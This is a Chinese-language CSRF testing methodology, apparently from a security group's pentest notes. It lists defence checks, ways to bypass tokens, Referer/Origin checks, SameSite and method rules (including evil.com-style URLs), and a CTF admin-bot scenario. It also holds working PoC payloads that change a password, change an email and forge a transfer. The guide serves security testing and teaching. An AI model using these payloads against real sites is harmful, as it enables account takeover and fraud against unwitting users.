wgpsec/csrf-methodology

CSRF 跨站请求伪造方法论

CSRF 利用浏览器自动携带 Cookie 的特性，让受害者在不知情的情况下以自己的身份发送请求。

Phase 1: 识别 CSRF 风险

1.1 检查防护机制

对敏感操作的请求，检查是否有以下防护：

• CSRF Token：表单中的 <input type="hidden" name="csrf_token">
• SameSite Cookie：Set-Cookie: session=xxx; SameSite=Strict/Lax
• Referer/Origin 检查：服务端验证请求来源
• 自定义 Header：如 X-Requested-With: XMLHttpRequest

1.2 高价值目标操作

• 修改密码/邮箱（→ 账户接管）
• 转账/支付
• 添加管理员
• 绑定/解绑第三方账户
• 修改权限/角色

Phase 2: 绕过 CSRF 防护

2.1 Token 绕过

# 删除 token 参数 — 某些实现只在 token 存在时才验证
csrf_token=  (空值)

# 使用其他用户的 token — 某些实现只检查 token 有效性，不绑定用户
# 用自己的账号获取一个 token，给受害者用

# Token 在 Cookie 中 — 可通过子域 XSS 设置 Cookie
Cookie: csrf=TOKEN
Body: csrf_token=TOKEN  (两者匹配即可)

2.2 Referer/Origin 绕过

# 不发送 Referer
<meta name="referrer" content="no-referrer">

# 包含目标域名的 URL
https://evil.com/csrf?target.com
https://target.com.evil.com

# 空 Referer（某些实现只在 Referer 存在时才检查）

2.3 SameSite 绕过

• SameSite=Lax：GET 请求仍可跨站（顶级导航）→ 如果操作接受 GET，可利用
• SameSite=None：无保护
• 无 SameSite 属性：旧浏览器默认 None
• POST 被 SameSite 拦截时，改用 GET 可能不受限（方法不受限）

2.4 Token 验证缺陷

• 攻击者 token 替受害者使用：PoC 中硬编码自己的 token
• 服务端只检查 token 有效性，不检查归属（验证缺陷）

2.5 Method 绕过

• GET 方法绕过：某些修改操作也接受 GET（开发者错误）
• window.location 跳转即可触发 GET 请求
• POST 被 CSRF 防护拦截时，GET 可能不受限

Phase 3: 构造 CSRF PoC

GET 请求

<img src="http://target/api/changePassword?new=hacked">

POST 请求（表单自动提交）

<form action="http://target/api/changeEmail" method="POST" id="f">
  <input type="hidden" name="email" value="[email protected]">
</form>
<script>document.getElementById('f').submit();</script>

JSON Body（需要 CORS 配合）

如果 API 要求 Content-Type: application/json，需要检查：

• 是否接受 Content-Type: text/plain（form 可发送）
• 是否有 CORS 允许跨域 POST

<form action="http://target/api/transfer" method="POST" enctype="text/plain">
  <input name='{"amount":1000,"to":"attacker","x":"' value='"}'>
</form>

Phase 4: CTF 场景

CTF 中 CSRF 通常配合 XSS Bot：

1. 发现 CSRF 漏洞 → 构造恶意页面
2. 将链接提交给 "admin bot"（模拟管理员点击）
3. 管理员以其身份执行操作（修改密码/获取 flag）